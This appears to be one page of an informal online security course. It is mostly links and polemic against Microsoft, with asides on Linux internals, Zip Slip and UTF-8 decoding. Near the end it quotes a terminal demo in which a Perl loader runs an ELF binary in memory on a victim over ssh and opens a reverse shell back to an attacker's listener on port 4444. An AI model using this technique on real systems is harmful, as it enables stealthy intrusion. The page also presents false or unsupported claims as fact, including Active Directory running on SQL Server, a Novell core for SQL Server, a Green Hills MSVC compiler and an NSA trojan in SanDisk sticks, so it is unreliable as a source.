Unix forever!

DSR enhanced security and "formal verification" course

Note: First parts of this course are an overview of security related problems. Later we refine, are "zooming into" the details.

  1. Who is attacking Microsoft?
  2. Microsoft SQL Server - AD - code injection attacks
    1. Worst attack on SQL servers ever
  3. Other problems Microsoft suffers
    1. Steve Balmer: "I love this company"
    2. Microsoft's strategic mistakes - the begin of the "paid influencer" epoch
    3. Trustworthy and secure computing memorandum by Bill Gates
    4. "Writing secure code" book by Michael Howard, David LeBlanc
    5. "The internet tidal wave" memo from Bill Gates (1995)
    6. USA vs. Microsoft lawsuit document list
    7. PESTLE Analysis of the Microsoft empire
    8. Energy and ressouce aspect of Microsoft operating system and languages
      1. Example Linux: Editing a file inplace, without having to rewrite to the end
      2. Hacker's delight: Vi overwrites readonly files
      3. Example Linux: Editing or inserting in the middle of a file
      4. What inodes are in Linux: A (double) linked list
      5. With Vi you even can preserve time stamp
    9. Microsoft's 2024 toolkit ot delete private data
    10. Extended support for Windows 7
    11. Running Windows Emulator WINE on Windows
  4. Zip Slip Vulnerability
  5. Microsoft diverse problems caused by bad architecture
    1. Improper handling of Unicode compression standards
    2. Microsoft's problems with file formats
    3. Microsoft Outlook and Exchange have problems with mail encodings
    4. Microsoft out of context encoding confusions
    5. Microsoft's C++ compiler and SQL Server are not from Microsoft
    6. Microsoft VC++ secretly adding code to binaries
    7. The reason for VSCodium
    8. Microsoft unable to check passwords correctly
    9. Old unmaintained, buggy legacy code within Microsoft
    10. Howto correctly handle Unicode (Hello, Microsoft!)
  6. The famous "dirty cow" attack
  7. Strange problems on embedded systems
  8. Mother of all Microsoft hacker tools: Back Orifice
  9. NSA trojan distributor SanDisk
  10. Chinese Hackers Deploy Microsoft-Signed Rootkit to ...
  11. For historical reasons: Cult of the Dead Cow
  12. 0x00sec.org - where hackers meet
  13. Dolphin Smalltalk - Highest productivity on Windows!

Who is attacking Microsoft?

https://www.microsoft.com/en-us/security/blog/2023/03/24/guidance-for-investigating-attacks-using-cve-2023-23397/

https://www.borncity.com/blog/2024/04/12/neue-insights-zum-ungesicherten-microsoft-azure-server-mit-bing-secrets-code-scripte-passwrter/

Why is this a lie? https://techcrunch.com/2024/04/09/microsoft-employees-exposed-internal-passwords-security-lapse/

Answer: Since decades passwords are stored as hashes!!!

BMW as a victim: https://socradar.io/sensitive-information-belonging-to-bmw-exposed-due-to-misconfigured-cloud-bucket/

The true reason:

Microsoft SQL Server - AD - code injection attacks

How This SQL Command Blew Up a Billion Dollar Company

https://youtube.com/watch?v=R7VVwfh0Wpo

A story of the Heartland Payment Systems breach from 2007-2009, the world's largest at the time. The specific details of how everything went down is unknown, so this is built on top of the USSS/FBI advisory, and various articles. The FBI advisory (see the third source) covered dozens of breaches that occurred in the late 2000s, all of which had the same attack pattern (Windows, SQL Server, xp_cmdshell, etc). But it's theoretically possible that Heartland was the odd one out, and that everything in this video is wrong ☺️

SQL injection simulator: https://www.hacksplaining.com/lessons/sql-injection

What has happend since 2008 within Microsoft? (except renaming AD to EntryID and StoreID because of bad reputation?)

Nothing! https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=sql+server

Active Directory is based on SQL Server

One of the biggest security holes within Microsoft since decades!

Worst attack on SQL servers ever

https://www.calcomsoftware.com/sql-server-attacks/

https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-WP.pdf

Famous victim: Pyramid computers. MS Access VB obfuscation script. They had to close.

Other problems Microsoft suffers

Steve Balmer: "I love this company"

https://youtube.com/watch?v=EHCRimwRGLs

Steve Balmer's private training for this "spontaneous emotional outbreak": https://youtube.com/watch?v=b3XPHkEFXHQ&t=1m0s

Microsoft's strategic mistakes - the begin of the "paid influencer" epoch

https://www.fastcompany.com/3016371/microsoft-ceo-steve-ballmers-legacy-a-salesman-without-product-vision

That was the begin of Microsoft paid influencers in all IT blogs worldwide. In an internal meeting Bill Gates said, that early feedback from MS customers was so overwhelming, that the fail of ARM RT Surface Tablet only could be explained by 'evil forces', people who tried to harm Microsoft reputation. These M$ paid influencers are still active, e.g. in german Heise forums. Later Adobe joined Microsoft. You find these influencers mainly discrediting excellent Gimp or Gimp+G'MIC extensions.

Trustworthy and secure computing memorandum by Bill Gates

https://news.microsoft.com/2012/01/11/memo-from-bill-gates/

"Writing secure code" book by Michael Howard, David LeBlanc

https://ptgmedia.pearsoncmg.com/images/9780735617223/samplepages/9780735617223.pdf

"The internet tidal wave" memo from Bill Gates (1995)

https://www.justice.gov/sites/default/files/atr/legacy/2006/03/03/20.pdf

USA vs. Microsoft lawsuit document list

https://www.justice.gov/sites/default/files/atr/legacy/2006/03/03/mslist.pdf
https://www.justice.gov/atr/us-v-microsoft-courts-findings-fact

More on Metager search engine

PESTLE Analysis of the Microsoft empire

https://crowjack.com/pestle-analysis/microsoft

Energy and ressouce aspect of Microsoft operating system and languages

Energy consumption

C is the greenest language:

https://hackaday.com/2021/11/18/c-is-the-greenest-programming-language/

Example Linux: Editing a file inplace, without having to rewrite to the end

https://www.unix.com/shell-programming-and-scripting/145729-modifying-file-without-changing-inode-number.html

https://unix.stackexchange.com/questions/36467/why-does-inode-value-change-when-we-edit-in-vi-editor

Hacker's delight: Vi overwrites readonly files

https://superuser.com/questions/900888/vi-can-write-to-file-despite-file-being-read-only (This is mostly the main problem within Docker)

Note: Use seLinux or AppArmor to prevent that: https://en.wikipedia.org/wiki/AppArmor

Warning: seLinux was made by NSA and is the standard in Redhat Linux: https://en.wikipedia.org/wiki/Security-Enhanced_Linux

seLinux is unmaintainable! https://wiki.centos.org/HowTos(2f)SELinux.html

AppArmor is maintained by Cannonical: https://en.wikipedia.org/wiki/AppArmor

https://ubuntu.com/server/docs/apparmor

It's quite convenient, it has a learning mode, writing rules on its own. Also see Pledge. (coming in next slide)

Note: Never use Linux without AppArmor or Pledge!!!

Example Linux: Editing or inserting in the middle of a file

1
2
3
4
5
6
$ cat my_file.txt 
This is my file
$ sed -i "" s/my/your/g my_file.txt
$ cat my_file.txt 
This is your file
$

Why can i do that in Linux and EXT4 or XFS?

https://www.man7.org/linux/man-pages/man1/fallocate.1.html
https://www.man7.org/linux/man-pages/man2/fallocate.2.html

When working with bigdata, Linux is first choice, always!

What inodes are in Linux: A (double) linked list

Some self invented file system: https://github.com/darshank15/Inode-based-file-system/blob/master/inode.h

The official Linux new inode structure: https://github.com/torvalds/linux/blob/master/fs/inode.c

With Vi you even can preserve time stamp

https://vi.stackexchange.com/questions/5390/preserve-creation-time-stamp-after-modification

Microsoft's 2024 toolkit ot delete private data

https://learn.microsoft.com/de-de/surface/microsoft-surface-data-eraser

Extended support for Windows 7

Windows 7 is still alive because it was the last version without 'Telemetry':

https://www.google.com/search?q=Windows+7+ESU+2024

Running Windows Emulator WINE on Windows

Note: You can compile and run WINE also on Windows! Use MinGW and MSYS2 porting libraries!

Competitor WINE on Linux: https://www.wps.com/blog/how-to-install-and-run-microsoft-office-on-linux-wine-a-comprehensive-guide/

Zip Slip Vulnerability

Zip Slip is a widespread arbitrary file overwrite critical vulnerability, which typically results in remote command execution. It was discovered and responsibly disclosed by the Snyk Security team ahead of a public disclosure on 5th June 2018, and affects thousands of projects, including ones from HP, Amazon, Apache, Pivotal and many more (CVEs and full list here). Of course, this type of vulnerability has existed before, but recently it has manifested itself in a much larger number of projects and libraries.

Sources: https://security.snyk.io/research/zip-slip-vulnerability and https://github.com/snyk/zip-slip-vulnerability

Microsoft diverse problems caused by bad architecture

Here a pick of Microsoft problems that will never go away:

Improper handling of Unicode compression standards

Microsoft internally still uses UCS-2: https://www.unicode.org/reports/tr6/tr6-4.html

Main problem is here, that Windows 10 / 11 / Server Enterprise editions internally don't know howto handle full Unicode 15.1 Standard as of sep/2023. Microsoft internal old .dll (legacy code) are still sticking somewehere in the 2001 8086 assembler age: https://en.wikipedia.org/wiki/Unicode. Instead of UTF-8, which is a 1 to 4 byte flexible encoding, Windows internally uses UCS-16 or UTF-16 encoding. Microsoft SQL Server, in parts, is still on that standard. It's not made by Microsoft, it's core is the old Novell SQL Server engine. https://en.wikipedia.org/wiki/Unicode

Microsoft's problems with file formats

Microsoft Defender e.g. does not handle archive and compressed files (selfextracting) properly. To get an idea, how may formats there are: https://docs.clamav.net/ .

https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/10-Business_Logic_Testing/09-Test_Upload_of_Malicious_Files

https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=Microsoft+bypass

Microsoft Outlook and Exchange have problems with mail encodings

https://www.iana.org/assignments/transfer-encodings/transfer-encodings.xhtml

Though defined long time ago in RFC 2045, Microsoft obviously is still writing its mail header parsers by hand. The don't know howto use parser generators, such as e.g. Ragel.

Otherwise the continuous recurring problems in Exchange and Outlook wouldn't exist:

https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=Exchange+Server
https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=Outlook+
https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=Microsoft+bypass

Microsoft out of context encoding confusions

With bitcoin, a new encoding standard for long positive integers was introduced.

https://de.wikipedia.org/wiki/Base58

For some strange reason, within Microsoft it was added to the normal encoding/decoding C++ class library. With an funny effect, when you encode attachments this way and send them through the Microsoft gateways, those hand crafted packages pass the mail security filters.

So sending in old viruses, such as good old Melissa VB Macrovirus suddenly becomes a new challenge: https://www.cs.miami.edu/home/burt/learning/Csc521.061/notes/melissa.txt

When you permutate all above, the chance to place a malicious script within a highly firewall and virus/trojan filter secured enterprise network again is 100%.

Microsoft's C++ compiler and SQL Server are not from Microsoft

Microsoft, over time, has more and more outsourced. Not only is SQL Server core still based on the old Novell SQL Server, the Microsoft C++ compiler, in fact, is made and maintained by a small company called Green Hills Software: https://www.ghs.com/products/compiler.html

Between 1988-2012 Microsoft used the Zortech / Digital Mars C++ compiler.

However: Microsoft always was and still is far behind C++ standard.

Microsoft VC++ secretly adding code to binaries

They're still doing this. But now you even have to pay for it.

VC++telemetry

The reason for VSCodium

The VSCodium project exists so that you don’t have to download+build from source. This project includes special build scripts that clone Microsoft’s vscode repo, run the build commands, and upload the resulting binaries for you to GitHub releases. These binaries are licensed under the MIT license. Telemetry is disabled.

https://vscodium.com/

Microsoft unable to check passwords correctly

Long time ago, it was possible to login successfully with only the first bytes of a longer password matching.

Or you could crash the Micrsoft IIS with frontpage extensions with lengthy URL typed into the Internet Explorer. Their solution was to limit the field of the Internet Explorer (no joke!).

See on p.67-72: "Writing secure code" book by Michael Howard and David LeBlanc:

https://ptgmedia.pearsoncmg.com/images/9780735617223/samplepages/9780735617223.pdf

Old unmaintained, buggy legacy code within Microsoft

For downward compatibility reasons Microsoft has kept old legacy code and very old ASP exploits still work decades later, such as here:

https://www.cvedetails.com/vulnerability-list/vendor_id-1341/Pascal-Michaud.html

As of today there are 15,000 unpatched bugs in the internal Microsoft issue database, where nobody really cares. It is simply too costy, to (security) review old legacy code.

Higly developed toolkits like the GCC Static Analyzer for C simply don't (or even can't!) exist for C++. The language definition file for C++23 alone is over 2000 pages long.

https://www.open-std.org/jtc1/sc22/wg21/docs/papers/2023/n4928.pdf

You would have to verify the C++ compiler first. C++ far too much generates own things, where nobody has an idea, what the compiler internally is doing, e.g. at virtual functions or abstract classes. Apart from that C++ compilers can return type "object". What ever that means. Unmarshalling that is dependent on compiler implementation (the ABI interface) unlike in C, where return type only is integer, however that may be interpreted (as value or pointer). That makes porting or creating C++ language bindings incredibly hard.

Howto correctly handle Unicode (Hello, Microsoft!)

From: https://stackoverflow.com/questions/34240273/utf-8-encoding-in-c-with-getchar

Here is a brief explanation of the algorithm:

  1. Read one byte
  2. If the topmost bit is zero, there is nothing else to do: the code point is 0x00-0x7f
  3. If the topmost three bits are 110, then you need one extra byte. Take five lowest bits of the first byte, shift them left six bits and OR the lowest six bits from the second byte to get the final value
  4. If the topmost four bits are 1110, then you need two extra bytes. Take four lowest bits of the first one, shift by 12 bits, or in the six lowest bits from the second byte shifted by six, then finally the six lowest bits of the third byte
  5. If the topmost five bits are 11110, then you need three extra bytes and will read them, shift etc as previously
  6. If none of those conditions fit, the data is invalid.

Note that when reading extra bytes, those bytes must have 10 as the most significant bits; anything else is invalid.

The famous "dirty cow" attack

Note: This example is part of a multi-stage attack whicb typically begins with the buffer overflow:

https://owasp.org/www-community/attacks/Buffer_overflow_attack
https://tripoloski1337.github.io/ctf/2020/01/26/return-to-libc-attack.html

Example: https://devcraft.io/2021/02/11/serenityos-writing-a-full-chain-exploit.html

Details about: https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html

The Zen of Assembly: https://docs.google.com/file/d/0B-pMiNtA1n0aTHk0ZzF1Y2NZRk0/view

Strange problems on embedded systems

https://dunkels.com/adam/rand-may-call-malloc/

Note: Embedded Systems are inherently unsafe

Hackers use IoT devices as trampoline to intrude into networks!!!

Mother of all Microsoft hacker tools: Back Orifice

https://en.wikipedia.org/wiki/Back_Orifice

Always uptodate: https://en.wikipedia.org/wiki/Back_Orifice_2000#Plugins

BO handbook:

https://archive.ph/20120710140604/http://bo2k.sourceforge.net/docs/bo2k_1_1_5/BasicTutorial.html

Google search around "Back Orifice" results are weak. Bing and Duckduckgo searches even weaker.

Metager brings 6,200,000 hits: https://metager.de/meta/meta.ger3?eingabe="Back Orifice"

NSA trojan distributor SanDisk

When you buy a new (empty!!) SanDisk USB stick and put it into a Windows 10 machine running with reduced normal user account privileges, a window pops up and demands write access to your drive. After that, diverse binaries from your Windows kernel are updated. After that incident i've reinstalled Windows, did checksums on all files to get an idea, which files were compromised. I've analyzed them with Ghidra. A whole lot new binaries.

Interestingly the SanDisk drive was empty. I put its tiny motherboard and chip on investigation and indeed found a hidden partition on flash and an ARM chip. On that hidden partition on flash i also found some interesting MS signatures / certificates. SanDisk overrides all protection mechanism with Microsoft signed binaries.

https://www.blackhat.com/docs/asia-17/materials/asia-17-Braeken-Hack-Microsoft-Using-Microsoft-Signed-Binaries-wp.pdf

Chinese Hackers Deploy Microsoft-Signed Rootkit to ...

https://thehackernews.com/2023/07/chinese-hackers-deploy-microsoft-signed.html

https://arstechnica.com/information-technology/2022/12/microsoft-digital-certificates-have-once-again-been-abused-to-sign-malware/

https://www.cybersecuritydive.com/news/microsoft-president-congressional-hearing/716847/

For historical reasons: Cult of the Dead Cow

How in former times hacker websites looked: https://cultdeadcow.com/

0x00sec.org - where hackers meet

https://0x00sec.org/t/super-stealthy-droppers/3715

Live demo https://asciinema.org/a/173715

stuart@attacker:~$ # We'll send elfload.pl to a perl interpreter on the victim
stuart@attacker:~$ # Once it's running, we'll background it and catch a callback
stuart@attacker:~$ cat elfload.pl | ssh 10.131.66.89 perl
Making anonymous file...fd 3
Writing ELF binary to memory...done
Here we go...
2018/03/31 20:15:58 Starting shell callbacks to 10.131.61.235:4444
^Z
[1]+ Stopped cat elfload.pl | ssh 10.131.66.89 perl
stuart@attacker:~$ bg
[1]+ cat elfload.pl | ssh 10.131.66.89 perl &
stuart@attacker:~$ # It's running and backgrounded, time to catch it
stuart@attacker:~$ rlwrap -S "$(printf '\033[95mds>\033[m ')" nc -nvlp 4444
Listening on [0.0.0.0] (family 0, port 4444)
ds> Connection from [10.131.66.89] port 4444 [tcp/*] accepted (family 2, sport 52072)
Welcome!

ds> uname -a                                                                                                                                           
Linux victim 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux                                             
ds> # We're on the victim now, what's our program look like?                                                                                           
ds> ps -fax | grep -C 5 kittens                                                                                                                        
 1509 tty1     Ss+    0:00 /sbin/agetty --noclear tty1 linux                                                                                           
 1590 ?        Ss     0:00 /usr/sbin/sshd -D                                                                                                           
 1633 ?        Ss     0:00  \_ sshd: root@notty                                                                                                        
 3413 ?        Ss     0:00  \_ sshd: stuart [priv]                                                                                                     
 3452 ?        S      0:00      \_ sshd: stuart@notty                                                                                                  
 3453 ?        Ssl    0:01          \_ kittens -addr 10.131.61.235:4444                                                                                
 3456 ?        S      0:00              \_ /bin/sh                                                                                                     
 3460 ?        R      0:00                  \_ ps -fax                                                                                                 
 3461 ?        S      0:00                  \_ grep -C 5 kittens                                                                                       
 1635 ?        Ss     0:00 /lib/systemd/systemd --user                                                                                                 
 1637 ?        S      0:00  \_ (sd-pam)                                                                                                                
 3415 ?        Ss     0:00 /lib/systemd/systemd --user                                                                                                 
 3416 ?        S      0:00  \_ (sd-pam)                                                                                                                
ds> ls -l /proc/3453/exe                                                                                                                               
lrwxrwxrwx 1 stuart stuart 0 Mar 31 20:15 /proc/3453/exe -> /memfd: (deleted)                                                                          
ds> # Looks like there's no executable file to be found                                                                                                
ds>                                                                                                                                                    
stuart@attacker:~$ # Have fun (:                                                                                                                       
stuart@attacker:~$ exit                                                                                                           

This gets reliably mitigated by using Pledge (or Google's gVisor).

Lesson to be learned: Modern attacks never leave any fingerprints, neigher on disk nor in any logs!!! Use good old: https://www.snort.org/ with recent OWASP signatures to detect hackers in your network!

Dolphin Smalltalk - Highest productivity on Windows!

New intro into Dolphin: https://youtube.com/watch?v=d8H3_RgdWi0

Old into: https://youtube.com/@objectarts

Dolphin runs fine with WINE on Windows and on Linux even:

https://appdb.winehq.org/objectManager.php?sClass=version&iId=38131

Dolphin on Mac OS X: https://youtube.com/watch?v=S9HhHFJn5gg

Back to last lesson - https://rentry.co/DSRsecuritycourse Next lesson: https://rentry.co/DSRsecuritycoursepart2

Edit
Pub: 27 Jun 2024 09:31 UTC
Edit: 26 Jul 2024 11:39 UTC
Views: 600